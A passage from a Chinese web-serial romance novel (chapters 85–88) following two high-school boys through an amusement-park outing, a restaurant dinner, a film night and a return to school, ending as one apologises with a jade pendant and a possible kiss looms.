时璟承重新冷脸,抽出自己的胳膊:“骗子。” “友情不用比较。”凌蒲看着时璟承的眼睛,“你很特殊的。” 凌蒲的眼睛长得最好,如同汪了一汪水,不用风吹就自由粼粼波光。书上常形容眼眸如一汪秋水,但这片湖泊里没有什么忧郁的情绪,是春天的湖水。 和煦而澄澈。 这种没有寒意的深潭往往让人放松警惕,等沉溺其中往往为时已晚。 时璟承停止了诘问,可能是一时之间忘记了原本要说些什么。 “走吧,我带你去体验一下恐龙的魅力。” 凌蒲认为哄好了时璟承,如释重负地拉着他朝场馆的方向走。 但似乎还是迟了一步,已经排起了漫漫长队,都是刚才观赏完巡游的人们,看来大家想法一致。 门口竖了块牌子:预计排队时间一小时。 “其实还可以的。”凌蒲能够接受,“这个游戏比较热门。如果旅游旺季得排两三个小时呢。” 时璟承抬眼望着几个被工作人员带进去的游客:“为什么他们可以直接进去。” “钞能力。有快速通道。”凌蒲简单粗暴地解释。 时璟承微微蹙眉,丝毫没有犹豫地伸手摸口袋,拿出手机准备支付。 矜贵的气质配上一串行云流水的动作,凌蒲觉得隐约看到了几年后的时璟承,大手一挥地为女朋友全场买单。 好熟悉的感觉,似乎小时候也有过类似想象。 直到工作人员开始朝这边走,他飞快按住时璟承的手机:“别啊,这钱没必要花,节约一点。” “你要排一个小时?” “途中也有很多值得看的壁画,一小时很快的。多花两百多不值得。” “我的时间也很贵。”时璟承说。 “那你自己进去吧。”凌蒲只得松手,“我只是一个普通高中生,我的时间很廉价。” 时璟承挑眉:“威胁?” “没有。”凌蒲望着时璟承,眼睛一眨一眨,是真的打算让时璟承先进去玩。 时璟承看了凌蒲一会儿,到底还是放下了手机,和工作人员说不好意思。 凌蒲重新愉快起来,一路上给他介绍壁画的大恐龙,叽叽喳喳。 不过很快他就猜到时璟承为什么不喜欢排队,周围聚焦在对方身上的目光实在是太多了,充斥窃窃私语。 排个队的过程遇到好几个索要联系方式的,时璟承拒绝几次,有点烦。 他习惯注视,并不造成困扰,但就是觉得有点烦。 “你帮我解决。”他通知硬要拉着他站在这里的凌蒲。 凌蒲只得答应:“好的。” 又到一个拐弯处,有个女生问时璟承:“可以加个联系方式吗?” 时璟承看向凌蒲,凌蒲呆呆地还没有反应过来,疑惑地看着时璟承。 直到那女生的目光也随着时璟承的落在凌蒲身上,上下打量。忽然她的同伴拉住她,两人小声说了些什么。 再看过来时眼神完全变化。 “不好意思,我不知道。”那女生收回手机,“祝你们幸福!” 声音因为紧张而有点大,周围的人纷纷侧目。 时璟承黑脸:“你在搞什么。” “你就说解决没解决嘛。”凌蒲倒是不在意这些,还觉得有点好玩,“反正这里又没有人认识我们。” 时璟承朝旁边挪一步,和他保持距离。凌蒲笑着挨上去,贴在一起。 效果倒是立竿见影,周围不再有人来打扰时璟承,时璟承便也随他。 等待的时间并不像想象中漫长,也就说了一阵话,就轮到他们进去。 “终于!”凌蒲激动,热情并没有因为等待而减损分毫。 在工作人员的安排下,两人坐上一辆小车。 等所有人都准备好,‘嗖’一声,小车闪进黑暗的隧道。周遭一点光亮都没有,还带着让人失重的速度。 凌蒲叶公好龙,有点惊慌地在座位上摸索,好容易碰到有温度的物体,稍稍捏了下,戳一戳,开始估摸个形状。 好半天才判断出是时璟承的手指头。 他小声问时璟承:“可不可以这样碰着。” “不可以。”时璟承冷冷。 但凌蒲觉得他应该也是有点怕的,听呼吸并不似往常平稳。 于是按照时璟承“拒绝就是可以”原则,稍稍挨着一点点,保证感受到体温。 车子一个甩尾,稳稳停下。 黑暗中屏幕倏然亮起,呈现出3D效果的动画。 硕大的恐龙张开嘴,直直地朝凌蒲冲过来,凌蒲猛然向后。天上飞的翼龙振翅而过,似乎紧贴着头顶飞行,能够感受到巨大的风力和阴影。 “哗啦——” 悬崖又似乎在眼前展开,下方深不见底,偏偏车子还在这时启动,似乎要径直开下去。 周围的小孩子在疯狂尖叫,虽然凌蒲的恐惧并不比他们少,但毕竟已经过了那个年龄,只得假装淡定,偷偷在黑暗中缓解害怕。 一列车颠簸行驶,配合着电影经典场景,仿佛真的刚结束一场侏罗纪冒险。 等车子停稳在终点时,凌蒲惊魂未定,但又颇觉过瘾。 稍稍缓了会儿,淡定:“还挺好玩的。” 想起来寻求时璟承的认同:“你觉得怎么样?这个项目并不算太刺激。” “你可以先把我的手松开。” 随着时璟承的话,终点的灯光被点亮。 凌蒲才看清自己不知什么时候已经抓紧了时璟承的手。他的手比时璟承的小一圈,需要分得挺开才能抓牢,确实是人赃俱获,无从抵赖。 他默默抬起:“对不起。” “你就是故意的。”时璟承看着他,在狭小的座椅空间里,眼神颇具攻击性。 “故意干什么?”凌蒲不解。 他只是出于害怕抓了一下,没有任何其他感觉。要是有别的思考时间的话,他会试试这只养尊处优的手触感有什么不同。 和以前那些好兄弟都没什么边界感,看个恐怖片搂搂抱抱很正常,就时璟承这位少爷事多一点。 但不知为何,凌蒲有种预感。如果他真说出和以前朋友的相处之道,时璟承可能就会在这里把他给做掉。 “好了,我不是故意的。比较害怕嘛。”凌蒲承诺,“以后不碰你了,我们先下车吧。” 外面天色已黑,气温比方才更低。 凌蒲信守诺言,离时璟承远远的,落下一米开外的距离。 时璟承回头看他,正好见凌蒲把身上的衣服拢了拢,微微低头,下巴埋进去。 本来他的衣服在凌蒲身上就偏大,现在这么一埋,就露出一双眼睛和一点脸颊。 柔软的布料挨在脸侧,凌蒲忽然闻到点若有若无的雪松香气,在深秋室外的傍晚显得格外不同。 他不由侧过脸,在布料上轻轻吸了口气。 确实是从衣服散出的清香,和时璟承衣柜里的一样,不过似乎和车里的有所区别。凌蒲想要更加细致地辨别到底是哪种时,一抬眼,对上时璟承的视线。 “” 第86章 凌蒲忽然觉得这个动作有点猥琐。 他觉得事情并不是这样的,但很多时候就是这么凑巧,发生就发生了。 亡羊补牢,只能迅速放下袖子。 时璟承朝他走过来,身影笼住他,很有压迫感。 凌蒲认怂:“我会帮你洗干净再还给你的,对不起。” 一边飞快转移话题:“我请你吃烤肠。那里有烤肠。” 他拽着时璟承来到旁边的店铺,大方地让他随意挑选。 时璟承扫一眼价目表,三个烤肠就和刚才快速通道的钱一样。他挑眉:“这时候怎么不是个普通高中生了?” “该省省该花花,吃到肚子里的总是没有错的。”凌蒲望着美味大烤肠,眼神深情。 “会转化为脂肪陪伴你。” “喂,你这样说话就没有意思了,我每天运动量也很大的,正是长身体的时候。” 凌蒲辩解,不愿意自己在吃东西时留下任何阴霾。他为自己要了烤肠配玉米片,坚持要宴请时璟承。 时璟承拿了瓶矿泉水。 两人随意地走走看看,凌蒲一边吃一边继续给他当导游,可谓尽职尽责。 “烤肠离我远点。” “这有纸盒不会滴油的,你是不是有点想吃?” “” 忽然,他们和一个眼熟的身影迎面相遇。 “特儿!” 眼尖的凌蒲一眼认出。 只见成深野一身浅咖外套,特地吹了发型,和平常判若两人。他旁边还带着个戴发箍的女生,看起来出现在这个地方再合适不过。 倒是成深野看到他们之后吃惊不小,像是发现了外星人:“时璟承?你们怎么在这里?” 他上下扫视一圈。如果有人和他说外星人入侵地球他并不惊讶,但要说时璟承到游乐园来,那是很值得意外的事情。 不仅如此,还带着—— 目光落在凌蒲身上。 一个仇人。 “我要请时璟承吃饭的,顺便来看看巡游。”凌蒲笑笑,和他打招呼,又意外,”你回来了?不是假期出去了吗?“ “出哪去。”成深野不解。 时璟承抬起手里的矿泉水瓶抵住凌蒲的腰,稍稍用力戳一下:“垃圾袋。” 凌蒲撑开装烤肠的塑料袋,让时璟承放进矿泉水瓶。 这么一打岔,也忘了继续追问。 “怎么忽然请他吃饭?”成深野觉得这个词很陌生,时璟承什么时候需要别人请他吃饭。 凌蒲忙着对话,手一松,转过头:“他帮我讲题,还给我买吃的,为了感谢他。” 时璟承望着手里莫名多出来的垃圾袋,沉默,转头去找垃圾桶丢。 见他离开,成深野揽着凌蒲低声问:“你怎么做到的?我每次可怎么都叫不动他。” “没有啊,出来玩不是很正常吗?想出来就出来,不想出来就不出来玩。“ “他报复你了吗?“ 成深野对凌蒲上下打量。 “好像没有。” “事出反常必有妖。你小心,时璟承可不是能一笑泯恩仇的人。”成深野看着凌蒲单纯的神情,忍不住稍稍明示。 凌蒲意外:”我都已经这么努力地在赎罪,还要报复我啊。“ “你赎什么了?垃圾都是时璟承扔的。“ 凌蒲转过头,看到远处垃圾桶旁边的时璟承,再低头看看自己空空的手,若无其事地揣进口袋。 “忘了。“他拍拍手,同时感到忧心忡忡,“那我是不是得正式向他道歉。” “告诉你没用。道歉有用,要警察干嘛?” “判死刑了啊?”凌蒲愣了愣。 成深野点头下定义:“绝对的。十几年的深仇大恨,你知道他这十几年是怎么过的吗?” “你怎么一直用电影台词说话。” 另一边时璟承扔完垃圾转身,一眼就看到凌蒲已经被成深野揽着,他皱皱眉。 走到近前时,成深野松开凌蒲,搭着时璟承:“你真够意思,假期叫了你好几次都不出来玩,原来和凌蒲泡在一块。” 他压低声音,打探:“你什么时候收网啊?” 时璟承愣一下,才反应过来成深野的意思,于是胸有成竹:“不急。” “就知道你有打算。”成深野为凌蒲点蜡,“我继续去玩了,不管你们了。回见。” 在他即将转身之际,时璟承开口: “我之前没发现你有喜欢搂人的习惯。” “这有什么?不是很正常的一件事吗,只是你不喜欢。”成深野把手攥成拳头,在时璟承肩膀上捶了下。 时璟琛微微一顿。 “正常吗?” “对啊,哪里的高中生不勾肩搭背,好兄弟坦坦荡荡,对心仪的女孩才心存顾忌。”成深野举例,“比如我和今天这位,连手都没牵。” 凌蒲不知他们叽里咕噜说什么,拉了拉他:“走吧,我们去吃饭。” 好歹也到这里来了几个月,善于探索的凌蒲早已发现不少美食。 带着时璟承,适合去更高档些的餐厅。 * 烛光轻轻摇曳,顶上的水晶吊灯散发着琉璃般光彩,周围摆了一堆不知名的花束,新鲜得能掐出水来。 周围大都是穿着比较正式的情侣,奏的是巴赫的曲子,伴随着音乐的是筷子切割牛排的声音和甜蜜交谈声。 时璟承看看满桌的菜,再看看对面的凌蒲,对方刚刚剥好一只肥肥的大虾,蘸好酱料,正用一种近乎虔诚的目光凝视,下一秒一张嘴,大虾消失,脸颊鼓起一块。 有点对牛弹琴了。 “你常来这里?” 凌蒲看上去很熟悉,方才全是英文的菜单都勾选得毫不犹豫,依时璟承来看,这并不是对方能够达到的英文水平。 “没来过也能做攻略嘛,网上都有教程的,跟着打勾。”凌蒲擦擦手,“你不懂这个北极甜虾的含金量,我给你剥个尝尝,有那种新鲜海鲜的甜味。” 他先拿过小碟子,加点专用酱油,再挤两个小柠檬。 然后戴上手套,细致地剥好虾去掉虾线,朝碟子里蘸了蘸,递到时璟承面前。 时璟承似乎心不在焉,稍稍前倾,用嘴接过凌蒲手里的虾。 他脑海里一直回荡着成深野那句“很正常”,不想显得小题大做。 凌蒲震惊。 睁圆双眼看着时璟承低头,视线从额头看到高挺的鼻梁,指尖上仿佛残留对方温热的触感。 隔着手套都有点烫,不由甩了甩手指。 收回手,老老实实地藏着手指头。 “好吃吗?”他问。 “不错。”时璟承撩了一下眼皮,评价,“确实甜。” 凌蒲盯着他,指尖的烫意在耳朵上泛起一点,他觉得时璟承这句话比较流氓。但对方正人君子两袖清风,让人觉得产生这样的想法反而折射出自身内心的猥琐。 埋头苦吃,缓解下情绪。 “谁和你抢?”时璟承看着狼吞虎咽的凌蒲,问道。 “我怕凉了,一会儿来不及剥虾。” 这里对时璟承来说并不算什么新奇地方,只每样吃了一点,闲着也是闲着,给凌蒲剥了一只虾。 蘸好蘸料,递到他嘴边。 “不用不用。”凌蒲受宠若惊,用筷子夹住,匆匆吃进去。 一抬头,就看到时璟承正用纸巾慢条斯理地擦手,坐在对面是相当赏心悦目。 他不由发自内心地赞叹:“时璟承,我觉得你很有魅力。” 如果他是个女生,或许确实也会容易沦陷。 时璟承看他一眼,这样直白的夸赞听到过不少,或真或假,但少有能像凌蒲这样,顶着真诚的眼神仰着脸,语气自然不过。 “吃你的。” 凌蒲继续低头用餐,忽然一位服务生端着瓶葡萄酒走过来:“您好,点的酒。” 熟练摇了两下,用开瓶器打开,倒入醒酒器。澄澈丝滑的酒液倾泻而出,带着果香。 “谁点的酒?”凌蒲不解。 服务生检查一下菜单,指着下方那串英文;“这里。” “好像勾多了。”凌蒲望了望,打开手机教程拉到底,发现果然攻略里的人点了一瓶酒。 “开都开了,要不我喝了吧。” 他还有点怀念上次那口葡萄酒的味道,很香。 “不行。”时璟承不同意,“你酒品不行。” 上次表现得确实不尽人意,但因为一口葡萄酒而被打入“酒品不行”的凌蒲更不愿意接受,试图改变这一切。 “那是意外,没做好准备。这次应该没问题。” “别想。” 时璟承从他手里把酒杯收走。 “那这多浪费。”凌蒲心疼地看着酒,闻起来很香,“要不你喝了。” “” 时璟承倒进自己杯子里,喝了一口。 “好喝吗?”凌蒲期待。 “一般。” “哦。”凌蒲坐回去,“也是,你以前喝的肯定比这好。那还是别喝了吧。” “我是你声控的?让喝就喝,不喝就不喝。”时璟承放下杯子,抱臂倚着靠背,翘起腿。 凌蒲朝他笑。 戳戳手里的饭后甜点,也忽然想起成深野的话,委婉地问时璟承:“你觉得我对你好不好?” “?” “说嘛,我对你好不好?”他结完账,和时璟承站在路边等车时,依然坚持问这个问题。 外面天色已黑,路灯如同点点星光连成一片,光线朦朦胧胧,像给寂静的街道蒙了层纱。 时璟承不想搭理他。 “我觉得我对你还不错的吧。”于是凌蒲自问自答,“我感觉我们的关系也没有那么生疏了,发生良好的变化,还当了同桌,一起出来玩,建立深厚的友情。” 进行完一番漫长铺垫,凌蒲仰起脸:“我为小时候的事情向你道歉,你可不可以原谅我。” “不可以。”时璟承秒答。 “这么果断吗?你不思考吗?” “不。” 凌蒲没有想到时璟承的反应会这样坚决,看来成深野和程益添的话并不是空穴来风,真有可能布了个大陷阱等着报复他。 “那你打算对我怎么样呀?”他把衣领朝上拉了拉,以抵御寒风,露出的眼睛认真看着时璟承。 第87章 对于一直不回答的时璟承,凌蒲有点不安。 默默挨着他。 从路灯下一直到车上,都没有人再说话,空气安静下来。 车内依然流动着高级的淡香,一点淡淡的酒味夹杂着果香,在鼻间萦绕。 凌蒲转过头,看到时璟承的后脑勺,于是又转回去。带起一点衣物的摩擦声,窸窸窣窣。 司机见没人说话,轻车熟路地把他们送回了时璟承的住处。 凌蒲跟着下车,问时璟承:“你有没有喝醉,需不需要我照顾你。” 时璟承停步,垂下眼扫了一圈凌蒲探究的神情,开口:“你好像很期待?” 被他说中了。凌蒲希望时璟承能够像自己那天一样也会醉,这样就能证明些什么,而且扯平了。 “我没有。喝醉是人之常情,大家都会喝醉。” “谁喝葡萄酒会醉?”时璟承不屑,“而且还是一杯。” “你不要硬撑。” 凌蒲仔细观察,想要找出蛛丝马迹,未果。 时璟承挪开他的脸,朝后稍稍。 触感柔软而温热,像一块出炉不久的米糕,在这个深秋寒冷的夜晚格外明显。 凌蒲跟着他进了屋,和小时候一样,仿佛开了自动跟随,亦步亦趋。 屋里竟然一片漆黑,一个人都没有,硕大的屋子是一片安静的黑暗,显出浓浓的寂寞,和他家里的状态完全不同。 时璟承迈进去,背影仿佛也变得孤单起来。 “我观察你一会儿再走。”凌蒲热心,希望能继续用实际行动将功赎罪。 “随你。” 时璟承按开灯,把外套一甩,坐在沙发上。 凌蒲殷勤地捧起外套,满客厅转了一圈,终于找到一个衣架,挂上去,又回到时璟承身边。 时璟承随手解开领口的两颗扣子,拿起水杯。”我帮你。“凌蒲接过,“要偏冷还是偏热。” “随便。” “那我帮你调得不冷不热。” 凌蒲去厨房。经过和阿姨的面包时光,他对厨房的构造还是比较熟悉的。 经过一番加完热水加冷水,加完冷水再加热水的调试,水温终于算上不冷不热,满满一杯端到时璟承面前,小心翼翼地用双手端着。”你要在里面养金鱼?“时璟承看着快溢出杯口的水位线。”快喝吧,要洒了。”凌蒲催促。 “” 凌蒲挨在时璟承旁边,看他喝水。 线条明晰的侧脸和滚动的喉结,是一件赏心悦目的事情。 看了一阵,觉得自己的行为有点不妥,玩手机也不好,于是问:“我们能看会儿电视吗?” “你还想干什么?” 时璟承在沙发侧面袋子摸索一下,把遥控器丢过去。 “闲着也是闲着,我帮你找一个好看的电影。” 凌蒲随遇而安,按评分随便找了一部。 在柔软的皮质沙发上寻找舒适位置,挪动几下,忽然又望着时璟承。 “还要什么?”时璟承问他。 “可以要个毯子吗?有点冷。” “还有呢?”时璟承耐着性子,语带嘲讽,“可乐要不要,爆米花要不要?” 凌蒲睁大眼,感到幸福:”可以有吗?” 时璟承:“” 他来到楼上邵晚熠的私人零食库,操纵爆米花机,爆了一桶爆米花。 盖上盖子,把一切复原。 爆米花的香甜气息弥漫在空气中,凌蒲双手虔诚接过,冰可乐冒出细小气泡,在温暖的室内轻轻旋转,消失。 凌蒲裹紧身上柔软的羊毛毯子,挨在时璟承旁边看电影,人生真是有点美妙。 忽然一阵电话响起,不由皱起眉头,接起来。 “喂,妈妈。”他压低声音。 “诶呀,我在同学家里玩。” “同学需要我照顾一下,不一定什么时候回去呢,你们先睡吧。” “好不容易才放七天假的,犯人需要合理的放风时间才能更好地投入生产生活。” “是我那个年级第一同桌,很厉害的那个。” 凌蒲望着电视,半撒娇半辩论地和钱芷说完,挂断电话。 重新窝回温暖的毯子里,朝温暖的时璟承挨一挨,吃两个爆米花,美美地喝上一口可乐,并没有瞅需要“照顾”的同学一眼。 时璟承瞥他,偏浅的头发微微翘起,一闪一闪的各色光亮印在偏浅的瞳仁里,整个人状态很放松。 因为离得近,能若有若无地感受到一丝属于凌蒲的气息。干净而清爽,有时候夹杂着柔软的皂荚味,或是温和的沐浴露和洗发水的淡香,不加任何修饰和遮掩,营造出一方让人心安的空间。 一看就是被家里人精心照料,每处细节都用爱滋养得很好的高中生。 “主角出场了。”凌蒲和他讨论剧情,“这个演员长得很帅的。” 时璟承的注意力才回转到电视上。出乎意料,凌蒲没选动画电影,而是一部很经典的外国影片,讲的是天才诈骗犯和FBL之间斗智斗勇的故事。 凌蒲不时做一些关键性点评,看得津津有味。 “这些欺负他的人也太过分了。” “你看骗术一步一步在升级,先是伪造假支票,现在竟然当上飞行员了。” “果然这个警员要去抓他,谎言终究要被揭穿的。” “爱骗人的不少。”时璟承淡淡。 凌蒲转头看他一眼,把爆米花筒递过去;“看电影不说话。” 自己以身作则,不再说话。 时璟承看过这部电影,方才一点点的葡萄酒意上涌,不足以让他醉,但有点困,他随意把手搭在沙发扶手上,阖上眼,闭目养神。 旁边人随着电影剧情紧张或放松他都能感觉到,有时还能贴合上配乐的变化。 忽然,他觉得旁边似乎忽然僵住,并且持续了一阵。 于是睁开眼,看到电影里的主角正在和女友接吻。绵长的法式长吻,属于西方一贯的热情而奔放,隐隐有继续的趋势。 时璟承看到凌蒲紧张的摸样,不由觉得有点好笑,懒洋洋地问:“这么专注?” 凌蒲被他吓掉了手里的爆米花,谴责地转过头,平静道:“都快是成年人了,这有什么。” 不由地抿了抿嘴唇边上的爆米花碎屑,本能地想舔掉,动作又立刻停住。 时璟承微怔,盯着他柔软的嘴唇。 凌蒲觉得时璟承每次看人都毫不遮掩,完全没有回避这一说法了,总是淡定地把别人看了个透。现在这种情况下有点过于露骨了,他耳朵尖开始发烫,借着昏暗的灯光掩过去。 主要怪时璟承长得太帅,美好的事物总是不分物种和性别地让人沉迷。 他战术性仰头喝可乐,直到情节结束。 吸引人的主线剧情继续,重新把目光挪回电视。 开始还觉得气氛有点莫名的小别扭,但后期电影节奏越来越快,变得全神贯注。 一系列激动人心的追捕,充满悬念的镜头,让凌蒲挨紧身旁的人。 当弗兰克在电话里说出“Stop catching me.(别再抓我了)”时,凌蒲竟然有点感同身受,希望时璟承也不要再抓他了,撤掉悬在他脑门上的判决。 但电影里卡尔警官却冰冷地回应“I cant stop.(我不会停止)”,竟然和时璟承的回答有点像,伤感。 看得越来越热血沸腾,凌蒲用胳膊戳一下旁边;“有点热,能不能把温度调低一点。” 时璟承第一次被使唤得这么自然,有点诧异地望着旁边。 “时璟承,帮帮忙嘛。真的热。”凌蒲戳戳他。 其实遥控器离凌蒲更近点,但看对方在全神贯注,时璟承也懒得多言,径直伸手越过凌蒲,去拿茶几另一端的遥控器。 这个动作让凌蒲几乎被半圈在怀里,清冽的气息瞬间完全笼罩。 凌蒲屏住呼吸,只能看着眼前那只骨节分明的手掠过,近得能看到表盘反射的细微光芒。 挺低调的一块表,但隐约看到下面似乎还叠戴着什么。 微微后撤,直到电视里传来一声枪响,把凌蒲吓了一跳,重新将目光转回到电视上。 时璟承拿了遥控器,替他把温度调低。 “热成这样还盖毯子?”时璟承看凌蒲额头上都冒出了点细微的汗珠,没想到看个枪战紧张成这样。 声音就响在耳边,凌蒲仰起脸,也学着时璟承一般伸出两根指头,推远一点。 时璟承垂眸,意识到距离确实过近,都能看清凌蒲根根分明的睫毛,带着天然的一点弧度,眼睛长得太漂亮。 “咔嗒”一声,电视里传来手铐上锁的声响。 凌蒲这才转过头去看,男主角已经被抓住了。 “他怎么被抓的啊?” 看了快俩小时,竟然把这最精彩的部分给错过去。 “都怪你,时璟承。” “他太孤独了,向女友坦白了身份,对方报警了。”时璟承告诉他。 “这样啊。”凌蒲点头,没想到会这样收场。 时璟承随意地端起水杯喝了口水:“所以说还是不能轻易相信别人。” 凌蒲顿了顿,心虚让他总觉得对方意有所指,于是朝近在咫尺的时璟承塞一颗爆米花:“别说这个。” 第88章 后面电影偏向于平淡的收尾,在舒适的环境中,凌蒲逐渐昏昏欲睡。 片尾曲即将响完,也不见有人动遥控器,时璟承转过头,这才发现凌蒲不知什么时候已经微仰脑袋,安静地入睡。 灯还没打开,依旧保持着方才昏暗的光线,偶有一点色彩从电视投射过来,忽明忽灭。 时璟承推了下凌蒲的肩膀。 谁知对方竟然没有醒,还朝他歪过来,柔软的发丝擦在脖颈上,很陌生的体验。 电视里的尾音在空气中回荡,屏幕变得漆黑,衬得屋里更加安静。 仿佛时空在这一瞬间静止。 时璟承盯着凌蒲的脸看,从上扫视到下,忽然面无表情地抬起手,在微微鼓起的脸颊上捏了一下。 凌蒲眉头微微皱起,在他手上蹭了蹭,触感柔软。 时璟承像被烫了似的,迅速收手。 * 七天假期转瞬而逝。 安静了多日的学校重新吵嚷起来,热闹的声响传遍每个角落。虽然返校第一天没有早自习,但大多数同学还是早早来到教室, 凌蒲打着哈欠坐到座位上,依然觉得难以置信。 竟然开学了。 前面章飞和他英雄所见略同,转过头吐槽:“这一切也太快了。” “是啊,好像做梦一样。” “我才惨,这么宝贵的假期竟然来这上了两天自习,好容易补了一份小测给飞哥,才赦免了我一天。” “那你真的更惨一些。”凌蒲同情。 “不多废话了,物理江湖救急,课后题给我看看。” 凌蒲没反应过来:“物理还要写课后题的吗?作业里没布置这一项啊。” 他拿出自己的小本儿,上面认认真真记录每一项作业,已经全部打上了√。 “课上说的,你忘了?”章飞提醒他,“当时老师在生气,说谁再不写课后题就出去,顺道布置了后两道。” “还有这事?”凌蒲逐渐想起,翻开书本,奇迹果然没有发生,是伤心的一片空白。 只得说:“等时璟承来了借鉴一下他的吧。” 章飞摇头,为凌蒲还没有摸清时璟承而叹惋。时哥的作业固然是上上品,但每次很难借到。 还没来得及开口,时璟承从后门进来。 依然一丝不苟地穿着校服,领口和袖口十分整洁,看起来又成为一个标准的男高中生,极有距离感。 瞥了凌蒲一眼,看出点区别。或许是天气转凉,之前总大咧咧敞着的拉链这次一直拉到了顶,挡住一点下巴。 他放下书包。 “时璟承,物理书借我看看。” “自己拿。” 凌蒲便在一堆书中翻找,抽出物理书,果然没有让他失望,上面的习题已经全部完成,立刻和章飞道:“我俩一起写。” 章飞十分吃惊地看看这行云流水的动作,摆手:“你先写,写完再给我吧,早自习还很长。” 时璟承坐下:“抄作业?” “不是抄。”凌蒲辩解,“写一下。” “” “有什么区别。” 凌蒲转移话题:“那天早上你去哪了?我在沙发上醒的时候还以为穿越了,那么大的别墅一个人都没有。” 时璟承顿了顿:“有事出门。” “太没安全意识了,你不怕我入室抢劫。” 时璟承转头看看他,压低声音:“我们这种人,家里都有安保系统,识别到就自动把你击毙。” 凌蒲压根没听清他说什么,只是对方的忽然靠近把他吓了一跳,眼睛睁圆。 不过听清他的话之后笑道:“你别吓我。” “我以为你会这么想。”时璟承继续低头写题,不再理会他。 凌蒲也奋笔疾书一番,顺利补完课后习题,从桌子里摸出手机。 约定好在七点四十的时候和程益添通个电话,那边在这个时间点是课间。 “喂,蒲,你们今天开学吗?”传来程益添的声音。 “是的,我已经到学校了。”凌蒲说这话时不由伤感,默默抠着拐角处的护栏。 “我们都上好几天课了,没事,等寒假一起玩。”程益添已经麻了,“你和那个时璟承怎么样啊,他有没有对你下手。” “还没有。” “你有空帮我道个歉,他送的签名很珍贵。我拿了他的礼物,那天态度还不太好。” “好。”凌蒲觉得他俩都是他很好的朋友,希望他们握手言和,不要针尖对麦芒。 “不过一码归一码。我还是挺不放心你,在他面前你就是个弟弟,要时刻想想我之前的话。”程益添犹豫一会儿,还是提醒道。 “没事的,今天我有办法。”凌蒲十分自信。 国庆剩下的那两天假他都在家里钻研这个,已经想好朝时璟承负荆请罪的方式了。 他俩放风时间有限,匆匆说了几句就挂断。 凌蒲踏着上课铃声进教室,一堂课接着一堂课,假期刚回来同学们状态不好,每一门老师都格外严厉,需要一直奋笔疾书。 直到体育课前,氛围才骤然松弛下来。 班里的同学叽叽喳喳,三三俩俩地准备出发。 凌蒲也找到机会告诉时璟承:“益添让我帮忙道歉,那天对你态度不太好,谢谢你的礼物。” 听到前两个字,时璟承就微不可察地拧了下眉,随即神色恢复如常,淡道;“整天都一天一天的,有别的词吗。” “我没有说过几次。” “很多次。”时璟承写题,“那是你没感觉,别人耳朵听出茧。” “有点找茬了。”凌蒲低头把刚刚的习题处理完,收拾桌面,“益添都朝你道歉了,你也要大度一点。” 时璟承彻底黑脸,不再理他。 凌蒲收拾完之后戳戳他:“体育课了,你走不走。” “不走。” “就还有五分钟了,再不走会迟到。” “不和你走。” “为什么不和我走?” “烦。” 凌蒲没话说,自己先走。 听到旁边人离开的动静,时璟承就停下笔,看着那个背影,头发还是微微翘,走得带点脾气。 时璟承朝后仰靠着椅子,指节硌在坚硬的笔上,直到硌出印子才丢掉。 他也不知道为什么而烦,看到凌蒲和之前宋昭一块儿走就有点烦,总提这个程益添更是大烦特烦,脑海里那两人的合照嗖嗖朝外冒,还有方才凌蒲差点上课迟到也要去打的那个电话。 这人还说他时璟承没有程益添大度。 沉着脸想了会儿,去上体育课。 下午阳光正好,操场边的绿树洒下斑驳的树影,塑胶跑道和绿茵场相映成趣。 体育老师照常发号施令:“各位,还是老样子。先热身跑三圈,做做准备活动,各自去各自选的体育项目。” 时璟承选的是网球,凌蒲选的是羽毛球,各奔东西。 “凌蒲,终于又到了我们相会的时候了!” 在旁边等候的宋昭立刻跑进人群找凌蒲,他们两个班是同一时间上体育课,之前的羽毛球搭子体委丁朗还能继续组队。 “好久不见。”凌蒲点点头,和他们一同来到羽毛球馆。 “咔”“咔”“咔” 杀球声不绝于耳,凌蒲已经迫不及待地在空中挥拍,需要好好展示一下。 “我脱个外套。”丁朗见凌蒲穿长袖校服,顺嘴问道,“你脱吗,一会儿挺热的。” 凌蒲便也拉开拉链,这才忽然想到什么,摸索一下胸口,停顿,还是脱掉了外套。 动作却稍有掣肘,原本看气势是大干一场,却打两下摸两下衣领,似乎不太放得开。 “怎么了?”丁朗发现,友好询问。 隐约看到他脖颈出隐约一闪而过的精巧红色编绳,在白皙的皮肤上特别明显。他们虽然是学生,但从小挂个金锁玉坠的也不少见,便没怎么在意。 “算了。”凌蒲说,“我今天先不玩了,下次再战。” 说着坐到一边,重新把校服外套穿上,拉链拉到最高。 手里把玩着自己的战拍,听着别人的杀球声,不觉手痒。 都怪时璟承。 回了教室之后,一直到下午,气也没消。 碍于时璟承的强大势力,他只能默默地气一下。比如不主动找时璟承说话,虽然时璟承本来就不怎么主动和他说话。 又试图把两人的东西划清界限,这么一看,才发现越过边界线的全是他的东西。各种各样,入侵了时璟承那一块冷淡的地盘。 化愤怒为动力学习一下午,要做个不苟言笑的人。 直到三节课过去,习惯性地把旁边时璟承的习题册拿来订正,写了两道题才发现不知道什么时候气已经消了。 笔尖顿了顿,继续写。 决定暂时大发慈悲地原谅时璟承好了。 “时璟承,放学去不去奶茶店,上次说的新品上新了。” “不去。” 凌蒲意外,他都已经原谅了时璟承,没想到对方竟然不顺着台阶下。 磨蹭了好一阵,几次假装起身,时璟承都没主动叫住他。 凌蒲只得大人不记小人过,生硬道:“一起去呗。” 时璟承没有理他,凌蒲放缓一点语气:“我今天本来打算为以前的事情道歉的,你跟我去一个地方。” 凌蒲拿过时璟承手里的笔,半拉半拽,带着时璟承出去。 “去哪。” 时璟承问他,也不答。 一路神秘前行的终点竟然是卫生间,时璟承停住脚步。 凌蒲催促:“走嘛,这里最隐蔽。” “不去。”时璟承回头。 无奈,凌蒲只得把他拉进最近的走廊死角,也就是他今天打电话的地方。 做贼心虚般朝外探了探,确认没有人,他在时璟承的注视下拉开校服外套拉链。 领口拉了拉,手指一勾,勾起一块翠绿的玉坠,仿佛还带着体温,显得很润,配着红色挂绳,衬在白皙的皮肤上格外显眼。 因为这枚玉坠的高昂价值以及学校不给戴饰品,凌蒲又把时璟承朝里拉了一点距离,空间更狭小。 凌蒲低着头,小声说:“你看,你那时候送给我的。我都戴上了,原谅我呗。” 他感到耳侧时璟承的呼吸忽然重了些,觉得这次道歉稳了,满意地准备抬头。 忽然对上了时璟承深深的眼眸,眸色和发色一样漆黑,不知道什么时候他们之间的距离变得这么近。 并且似乎还在靠近。 时璟承在垂眸,目光落在凌蒲的嘴唇上,烫得无法忽视。 凌蒲在这一瞬间有种荒谬的感觉,时璟承好像想亲他。 